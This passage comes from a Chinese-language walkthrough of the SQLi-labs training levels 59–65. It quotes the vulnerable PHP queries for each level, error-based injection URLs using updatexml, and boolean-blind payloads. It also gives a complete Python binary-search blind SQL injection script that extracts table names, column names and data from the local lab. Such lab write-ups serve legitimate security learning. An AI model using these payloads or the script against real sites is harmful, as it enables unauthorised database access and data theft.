$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

Less-59这里与less-54的区别之处在于,SQL语句拼接发生了变化,这里同样采用报错注入

1
http://localhost/sqli-labs/less-59/?id=2 and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()),0x7e,(select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() ) limit 2,1)),0) %23

Less-60

1
2
$id = '("'.$id.'")';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

与Less-59一致,仅sql语句拼接发生变化

1
http://localhost/sqli-labs/less-60/?id=2") and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()),0x7e,(select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() ) limit 2,1)),0) %23

Less-61

1
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

sql语句拼接发生变化

1
http://localhost/sqli-labs/less-61/?id=2')) and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()),0x7e,(select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() ) limit 2,1)),0) %23

Less-62

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$times= 130;
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}

这里的尝试次数变成了130次,且去掉了报错的输出,明显考察盲注,这里我们使用基于布尔的盲注猜解出表名和字段名。

这里的130次限制最终还是没绕过,TCL,但是发现即使是超次数了也能注入。

直接附上二分法盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
url = "http://localhost/sqli-labs/less-62/?id=1')"
key = "Angelina"

def SearchTbName(url):
DbName = ""
for i in range(10):
i += 1
print("[+]Test {0} Bytes".format(i))
start = 32
stop = 127
while (start <= stop):
mid = int((start + stop)/2)
payload = " and ascii(mid((select table_name from information_schema.tables where table_schema=database()),{0},1))>{1}%23".format(i,mid)
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + " and ascii(mid((select table_name from information_schema.tables where table_schema=database()),{0},1))={1}%23".format(i,mid))
if(key in conTrue.text):
DbName += chr(mid)
print(DbName)
break
elif(key in cont.text):
#print("[+] start",start,stop,mid)
start = mid
else:
stop = mid
return DbName


def SearchCnName(url):
DbName = ""
for i in range(10,21):
i += 1
print("[+]Test {0} Bytes".format(i))
start = 32
stop = 127
while (start <= stop):
mid = int((start + stop)/2)
payload = "and ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database())),{0},1))>{1}%23".format(i,mid)
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "and ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database())),{0},1))={1}%23".format(i,mid))
if(key in conTrue.text):
DbName += chr(mid)
print(DbName)
break
elif(key in cont.text):
#print("[+] start",start,stop,mid)
start = mid
else:
stop = mid
return DbName

def SearchDataName(url,ColumnName,TbName):
DbName = ""
for i in range(24):
i += 1
print("[+]Test {0} Bytes".format(i))
start = 32
stop = 127
while (start <= stop):
mid = int((start + stop)/2)
payload = " and ascii(mid((select {0} from challenges.{1}),{2},1))>{3}%23".format(ColumnName,TbName,i,str(mid))
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + " and ascii(mid((select {0} from challenges.{1}),{2},1))={3}%23".format(ColumnName,TbName,i,str(mid)))
print(url + " and ascii(mid((select {0} from {1}),{2},1))={3}%23".format(ColumnName,TbName,i,str(mid)))
if(key in conTrue.text):
DbName += chr(mid)
print(DbName)
break
elif(key in cont.text):
start = mid
else:
stop = mid
return DbName

TbName = SearchTbName(url)
print("[+]Column Name",TbName)
CnName = SearchCnName(url)
print("[+]Column Name",CnName)
ColumnName = CnName
DaName = SearchDataName(url,ColumnName,TbName)
print("[+]Data Name",DaName)

Less-63

1
2
3
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

Less-63与Less-62区别之处在于,sql语句拼接,这里同样使用基于布尔的二分法盲注,这里稍微改一下payload即可

1
http://localhost/sqli-labs/less-63/?id=1' and length(database())>1%23

Less-64

1
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

这里也是sql语句拼接发生了变化,同样注释掉了报错语句,可以使用基于布尔的盲注和延时盲注

1
http://localhost/sqli-labs/less-64/?id=1)) and length(database())>1%23

Less-65

1
2
3
$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

最后一关了,hhh,还是sql语句拼接发生了变化,注释掉了报错语句,使用盲注(布尔,延时)来进行注入,修改之前的payload即可

1
http://localhost/sqli-labs/less-65/?id=1) and length(database())>1%23

1570206509430

参考资料

https://www.cnblogs.com/roverliang/p/6287416.html 派生表

https://www.jianshu.com/p/62d394c38230 Less-17 超详细解答

Contents
  1. 1. Less-1 union
  2. 2. Less-2 union
  3. 3. Less-3 union
  4. 4. Less-4 union
  5. 5. Less-5
  6. 6. Less-6
  7. 7. Less-7
  8. 8. Less-8
  9. 9. Less-9
  10. 10. Less-10
  11. 11. Less-11 login inject
  12. 12. Less-12 login inject
  13. 13. Less-13 login inject
  14. 14. Less-14 login inject
  15. 15. Less-15 login inject
  16. 16. Less-16 login inject
  17. 17. Less-17 update
  18. 18. Less-18 insert
  19. 19. Less-19 insert
  20. 20. Less-20 cookie
  21. 21. Less-21 cookie
  22. 22. Less-22 cookie
  23. 23. Less-23
  24. 24. Less-24 二次注入
  25. 25. Less-25
  26. 26. Less-26
  27. 27. Less-27
  28. 28. Less-28
  29. 29. Less-29
  30. 30. Less-30
  31. 31. Less-31
  32. 32. Less-32
  33. 33. Less-33
  34. 34. Less-34
  35. 35. Less-35
  36. 36. Less-36
  37. 37. Less-37
  38. 38. Less-38 Stacked injection
  39. 39. Less-39 Stacked injection
  40. 40. Less-40 Stacked injection
  41. 41. Less-41 Stacked injection
  42. 42. Less-42 Stacked injection
  43. 43. Less-43 Stacked injection
  44. 44. Less-44 Stacked injection
  45. 45. Less-45 Stacked injection
  46. 46. Less-46 order by 后的注入
  47. 47. Less-47 order by 后的注入
  48. 48. Less-48 order by后的注入
  49. 49. Less-49 order by后的注入
  50. 50. Less-50 order by stacked injection
  51. 51. Less-51 order by stacked injection
  52. 52. Less-52 order by stacked injection
  53. 53. Less-53 order by stacked injection
  54. 54. Less-54
  55. 55. Less-55
  56. 56. Less-56
  57. 57. Less-57
  58. 58. Less-58
  59. 59. Less-59
  60. 60. Less-60
  61. 61. Less-61
  62. 62. Less-62
  63. 63. Less-63
  64. 64. Less-64
  65. 65. Less-65
  66. 66. 参考资料